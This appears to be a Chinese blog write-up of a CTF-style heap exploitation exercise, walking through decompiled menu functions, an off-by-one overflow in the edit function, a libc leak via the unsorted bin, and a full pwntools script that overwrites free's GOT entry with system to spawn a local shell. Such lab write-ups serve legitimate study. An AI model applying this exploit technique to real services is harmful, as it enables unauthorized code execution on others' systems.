mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
320 字
1 分钟
5.17 考核wp
2026-04-17

WP#

将文件拖入 ida 发现这是一道菜单题,进一步分析发现如下重要函数

  1. 创建堆块
unsigned __int64 create_heap()
{
__int64 v0; // rbx
int n9; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( n9 = 0; n9 <= 9; ++n9 )
{
if ( !*(&heaparray + n9) )
{
*(&heaparray + n9) = malloc(0x10u);
if ( !*(&heaparray + n9) )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, buf, 8u);
size = atoi(buf);
v0 = (__int64)*(&heaparray + n9);
*(_QWORD *)(v0 + 8) = malloc(size);
if ( !*((_QWORD *)*(&heaparray + n9) + 1) )
{
puts("Allocate Error");
exit(2);
}
*(_QWORD *)*(&heaparray + n9) = size;
printf("Content of heap:");
read_input(*((_QWORD *)*(&heaparray + n9) + 1), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}

通过分析这个函数可以知道,按照如下结构来进行存储

heaparray[]
malloc(10) struct:
- size
- *data_ptr - malloc(size)
  1. 编辑堆块
unsigned __int64 edit_heap()
{
int n0xA; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4u);
n0xA = atoi(buf);
if ( (unsigned int)n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + n0xA) )
{
printf("Content of heap : ");
read_input(*((_QWORD *)*(&heaparray + n0xA) + 1), *(_QWORD *)*(&heaparray + n0xA) + 1LL);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u)^ v3;
}

从这里看到在这里存在溢出,可写入的内容比实际size大1,所以存在 one by off

  1. 展示堆块
unsigned __int64 show_heap()
{
int n0xA; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4u);
n0xA = atoi(buf);
if ( (unsigned int)n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + n0xA) )
{
printf("Size : %ld\nContent : %s\n", *(_QWORD *)*(&heaparray + n0xA), *((const char **)*(&heaparray + n0xA) + 1));
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

这个函数可以直接展示一个堆块的内容

  1. 删除堆块
unsigned __int64 delete_heap()
{
int n0xA; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4u);
n0xA = atoi(buf);
if ( (unsigned int)n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + n0xA) )
{
free(*((void **)*(&heaparray + n0xA) + 1));
free(*(&heaparray + n0xA));
*(&heaparray + n0xA) = 0;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

这个函数可以直接删除一个函数的内容,由于在释放堆块后会将指针置0,所以不存在 Uaf

解题#

由于题目中没有提供后门函数,所以需要使用libc, 首先通过malloc 不会初始化chunk内容的特性泄露出 fd指向的 main_arena的地址,从而计算出libc的地址,

同时由于发现 one by off 漏洞,所以可以实现任意地址读写

通过查看 checksec 程序保护发现 GOT 可写。可以选择尝试将free 函数覆盖为 system

  1. 泄露 libc

首先创建 unsortedbins 泄露出指向main_arena 的地址从而计算出 libc 的基地址。

  1. one by off 通过 one by off 实现任意地址读写,这里选择 改写 free函数的got表为 system

于是得到如下exp

from pwn import *
file = "./heap_patched"
host = "127.0.0.1"
port = 1234
isRemote = False
context.log_level = "debug"
context.binary = file
if isRemote:
p = remote(host, port)
else:
p = process(file)
elf = ELF(file)
rop = ROP(elf)
libc = ELF("./libc-2.23.so")
def menu():
global p
p.recvuntil(b"Your choice :")
def create_heap(size: int, content: bytes):
global p
menu()
p.sendline(b"1")
p.recvuntil(b"Size of Heap : ")
p.sendline(str(size).encode())
p.recvuntil(b"Content of heap:")
p.sendline(content)
def edit_heap(index: int, content: bytes):
global p
menu()
p.sendline(b"2")
p.recvuntil(b"Index :")
p.sendline(str(index).encode())
p.recvuntil(b"Content of heap : ")
p.sendline(content)
def show_heap(index: int):
global p
menu()
p.sendline(b"3")
p.recvuntil(b"Index :")
p.sendline(str(index).encode())
def delete_heap(index: int):
global p
menu()
p.sendline(b"4")
p.recvuntil(b"Index :")
p.sendline(str(index).encode())
def exit():
global p
menu()
p.sendline(b"5")
# unsorted bins
create_heap(0xff, b"") #0
create_heap(0xff, b"") #1
delete_heap(0)
create_heap(0xff, b"aaaaaaaa") #0 fd
show_heap(0)
p.recvuntil(b"a" * 8)
leak_str = p.recv(6)
leak = u64(leak_str.ljust(8, b"\x00"))
offset = 0x3c4b0a
libc.address = leak - offset
system_addr = libc.sym["system"]
binsh = next(libc.search(b"/bin/sh\x00"))
free = elf.got["free"]
log.success(f"leak-str: {leak_str}")
log.success(f"libcBase: {hex(libc.address)}")
log.success(f"binsh: {hex(binsh)}")
log.success(f"system: {hex(system_addr)}")
delete_heap(0)
delete_heap(1)
# raw_input(f"pwndbg -p {p.pid}")
# fastbin
# struct:
# size
# data_ptr -> malloc(size)
create_heap(0x18, b"a" * 18) # 0
create_heap(0x18, b"b" * 18) # 1
create_heap(0x18, b"c" * 18) # 2
create_heap(0x18, b"/bin/sh\x00") # 3
payload = flat(
{
0x18: p8(0x81)
},
filler = b"a"
)
edit_heap(0, payload)
delete_heap(1)
offset = 0x40
payload = flat(
{
offset: [
p64(0x8),
p64(free)
]
}
)
create_heap(0x70, payload)
edit_heap(2, p64(system_addr))
delete_heap(3)
p.interactive()
# exit()
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

5.17 考核wp
https://yoyolp.github.io/posts/other/517wp/
作者
超级玉米人
发布于
2026-04-17
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录